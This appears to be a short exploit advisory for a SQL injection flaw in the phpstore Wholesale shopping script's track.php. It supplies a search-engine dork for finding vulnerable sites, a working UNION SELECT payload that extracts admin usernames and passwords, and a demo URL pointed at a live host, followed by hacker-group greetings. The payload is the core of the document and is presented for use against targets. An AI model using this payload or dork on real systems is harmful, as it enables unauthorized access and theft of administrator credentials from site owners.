phpstore Wholesale suffers from a remote SQL injection vulnerability in track.php.
fc03da45a78282c5386b54313e461498380cb282d483ff4c4a34e4fd457bb94e
|___________________________________________________
|
| Wholesale ( track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM
|
| email: darkangel_g85@Yahoo.com
|
|___________________________________________________
|
| script : http://www.phpstore.info/product_info.php?cPath=36_53&products_id=162
|
| DorK : inurl:"track.php?id="
|___________________________________________________
Exploit:
________
www.[target].com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
Demo
________
http://phpstore.info/demos/wholesale/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--
____________________________( Greetz )_________________________________
|
| All members of the Forum| WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
| My friends : DeViL iRaQ | IRAQ_JAGUR | Cyber-Zone | Sakab
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | CraCkEr | G4N0K
|_____________________________________________________________________
Im IRAQi | Im TrYaGi